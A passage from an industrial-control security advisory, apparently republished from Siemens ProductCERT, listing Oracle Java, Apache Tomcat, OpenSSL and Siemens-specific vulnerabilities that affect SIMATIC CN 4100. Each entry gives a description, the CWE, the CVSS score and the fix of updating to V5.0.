Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Libraries). Supported versions that are affected are Oracle Java SE: 21.0.8 and 25; Oracle GraalVM for JDK: 21.0.8; Oracle GraalVM Enterprise Edition: 21.3.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 3.7 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-284 Improper Access Control\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n3.7\nLOW\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-61795\n<div class=\"csaf-accordion-content\">\n\nImproper Resource Shutdown or Release vulnerability in Apache Tomcat. If an error occurred (including exceeding limits) during the processing of a multipart upload, temporary copies of the uploaded parts written to disc were not cleaned up immediately but left for the garbage collection process to delete. Depending on JVM settings, application memory usage and application load, it was possible that space for the temporary copies of uploaded parts would be filled faster than GC cleared it, leading to a DoS. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.11, from 10.1.0-M1 through 10.1.46, from 9.0.0.M1 through 9.0.109. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.12 or later, 10.1.47 or later or 9.0.110 or later which fixes the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-404 Improper Resource Shutdown or Release\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-2673\n<div class=\"csaf-accordion-content\">\n\nIssue summary: An OpenSSL TLS 1.3 server may fail to negotiate the expected preferred key exchange group when its key exchange group configuration includes the default by using the 'DEFAULT' keyword. Impact summary: A less preferred key exchange may be used even when a more preferred group is supported by both client and server, if the group was not included among the client's initial predicated keyshares. This will sometimes be the case with the new hybrid post-quantum groups, if the client chooses to defer their use until specifically requested by the server. If an OpenSSL TLS 1.3 server's configuration uses the 'DEFAULT' keyword to interpolate the built-in default group list into its own configuration, perhaps adding or removing specific elements, then an implementation defect causes the 'DEFAULT' list to lose its 'tuple' structure, and all server-supported groups were treated as a single sufficiently secure 'tuple', with the server not sending a Hello Retry Request (HRR) even when a group in a more preferred tuple was mutually supported. As a result, the client and server might fail to negotiate a mutually supported post-quantum key agreement group, such as 'X25519MLKEM768', if the client's configuration results in only 'classical' groups (such as 'X25519' being the only ones in the client's initial keyshare prediction). OpenSSL 3.5 and later support a new syntax for selecting the most preferred TLS 1.3 key agreement group on TLS servers. The old syntax had a single 'flat' list of groups, and treated all the supported groups as sufficiently secure. If any of the keyshares predicted by the client were supported by the server the most preferred among these was selected, even if other groups supported by the client, but not included in the list of predicted keyshares would have been more preferred, if included. The new syntax partitions the groups into distinct 'tuples' of roughly equivalent security. Within each tuple the most preferred group included among the client's predicted keyshares is chosen, but if the client supports a group from a more preferred tuple, but did not predict any corresponding keyshares, the server will ask the client to retry the ClientHello (by issuing a Hello Retry Request or HRR) with the most preferred mutually supported group. The above works as expected when the server's configuration uses the built-in default group list, or explicitly defines its own list by directly defining the various desired groups and group 'tuples'. No OpenSSL FIPS modules are affected by this issue, the code in question lies outside the FIPS boundary. OpenSSL 3.6 and 3.5 are vulnerable to this issue. OpenSSL 3.6 users should upgrade to OpenSSL 3.6.2 once it is released. OpenSSL 3.5 users should upgrade to OpenSSL 3.5.6 once it is released. OpenSSL 3.4, 3.3, 3.0, 1.0.2 and 1.1.1 are not affected by this issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-757 Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21925\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: RMI). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as unauthorized read access to a subset of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 4.8 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.8\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21932\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: AWT, JavaFX). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 7.4 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.4\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21933\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Networking). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as unauthorized read access to a subset of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.1\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21945\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Security). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-400 Uncontrolled Resource Consumption\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21947\n<div class=\"csaf-accordion-content\">\n\nVulnerability in Oracle Java SE (component: JavaFX). Supported versions that are affected are Oracle Java SE: 8u471-b50. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 3.1 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n3.1\nLOW\nCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-22924\n<div class=\"csaf-accordion-content\">\n\nThe affected application does not properly restrict unauthenticated connections and is susceptible to resource exhaustion conditions. This could allow an attacker to disrupt normal operations or perform unauthorized actions, potentially impacting system availability and integrity.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-306 Missing Authentication for Critical Function\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.1\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-22925\n<div class=\"csaf-accordion-content\">\n\nThe affected application is susceptible to resource exhaustion when subjected to high volume of TCP SYN packets This could allow an attacker to render the service unavailable and cause denial-of-service conditions by overwhelming system resources.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-770 Allocation of Resources Without Limits or Throttling\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-28387\n<div class=\"csaf-accordion-content\">\n\nIssue summary: An uncommon configuration of clients performing DANE TLSA-based server authentication, when paired with uncommon server DANE TLSA records, may result in a use-after-free and/or double-free on the client side. Impact summary: A use after free can have a range of potential consequences such as the corruption of valid data, crashes or execution of arbitrary code. However, the issue only affects clients that make use of TLSA records with both the PKIX-TA(0/PKIX-EE(1) certificate usages and the DANE-TA(2) certificate usage. By far the most common deployment of DANE is in SMTP MTAs for which RFC7672 recommends that clients treat as 'unusable' any TLSA records that have the PKIX certificate usages. These SMTP (or other similar) clients are not vulnerable to this issue. Conversely, any clients that support only the PKIX usages, and ignore the DANE-TA(2) usage are also not vulnerable. The client would also need to be communicating with a server that publishes a TLSA RRset with both types of TLSA records. No FIPS modules are affected by this issue, the problem code is outside the FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-28388\n<div class=\"csaf-accordion-content\">\n\nIssue summary: When a delta CRL that contains a Delta CRL Indicator extension is processed a NULL pointer dereference might happen if the required CRL Number extension is missing. Impact summary: A NULL pointer dereference can trigger a crash which leads to a Denial of Service for an application. When CRL processing and delta CRL processing is enabled during X.509 certificate verification, the delta CRL processing does not check whether the CRL Number extension is NULL before dereferencing it. When a malformed delta CRL file is being processed, this parameter can be NULL, causing a NULL pointer dereference. Exploiting this issue requires the X509_V_FLAG_USE_DELTAS flag to be enabled in the verification context, the certificate being verified to contain a freshestCRL extension or the base CRL to have the EXFLAG_FRESHEST flag set, and an attacker to provide a malformed CRL to an application that processes it. The vulnerability is limited to Denial of Service and cannot be escalated to achieve code execution or memory disclosure. For that reason the issue was assessed as Low severity according to our Security Policy. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-28389\n<div class=\"csaf-accordion-content\">\n\nIssue summary: During processing of a crafted CMS EnvelopedData message with KeyAgreeRecipientInfo a NULL pointer dereference can happen. Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service. When a CMS EnvelopedData message that uses KeyAgreeRecipientInfo is processed, the optional parameters field of KeyEncryptionAlgorithmIdentifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing. Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-28390\n<div class=\"csaf-accordion-content\">\n\nIssue summary: During processing of a crafted CMS EnvelopedData message with KeyTransportRecipientInfo a NULL pointer dereference can happen. Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service. When a CMS EnvelopedData message that uses KeyTransportRecipientInfo with RSA-OAEP encryption is processed, the optional parameters field of RSA-OAEP SourceFunc algorithm identifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing. Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-31789\n<div class=\"csaf-accordion-content\">\n\nIssue summary: Converting an excessively large OCTET STRING value to a hexadecimal string leads to a heap buffer overflow on 32 bit platforms. Impact summary: A heap buffer overflow may lead to a crash or possibly an attacker controlled code execution or other undefined behavior. If an attacker can supply a crafted X.509 certificate with an excessively large OCTET STRING value in extensions such as the Subject Key Identifier (SKID) or Authority Key Identifier (AKID) which are being converted to hex, the size of the buffer needed for the result is calculated as multiplication of the input length by 3. On 32 bit platforms, this multiplication may overflow resulting in the allocation of a smaller buffer and a heap buffer overflow. Applications and services that print or log contents of untrusted X.509 certificates are vulnerable to this issue. As the certificates would have to have sizes of over 1 Gigabyte, printing or logging such certificates is a fairly unlikely operation and only 32 bit platforms are affected, this issue was assigned Low severity. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-31790\n<div class=\"csaf-accordion-content\">\n\nIssue summary: Applications using RSASVE key encapsulation to establish a secret encryption key can send contents of an uninitialized memory buffer to a malicious peer. Impact summary: The uninitialized buffer might contain sensitive data from the previous execution of the application process which leads to sensitive data leakage to an attacker. RSA_public_encrypt() returns the number of bytes written on success and -1 on error. The affected code tests only whether the return value is non-zero. As a result, if RSA encryption fails, encapsulation can still return success to the caller, set the output lengths, and leave the caller to use the contents of the ciphertext buffer as if a valid KEM ciphertext had been produced. If applications use EVP_PKEY_encapsulate() with RSA/RSASVE on an attacker-supplied invalid RSA public key without first validating that key, then this may cause stale or uninitialized contents of the caller-provided ciphertext buffer to be disclosed to the attacker in place of the KEM ciphertext. As a workaround calling EVP_PKEY_public_check() or EVP_PKEY_public_check_quick() before EVP_PKEY_encapsulate() will mitigate the issue. The FIPS modules in 3.6, 3.5, 3.4, 3.3, 3.1 and 3.0 are affected by this issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-754 Improper Check for Unusual or Exceptional Conditions\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\n\n\n</div>\n</div>\n</div>\n</div>\n\n\n\nAcknowledgments\n\n\n\nSiemens ProductCERT reported these vulnerabilities to CISA.\n\n\n\n\nGeneral Recommendations\n\nAs a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: 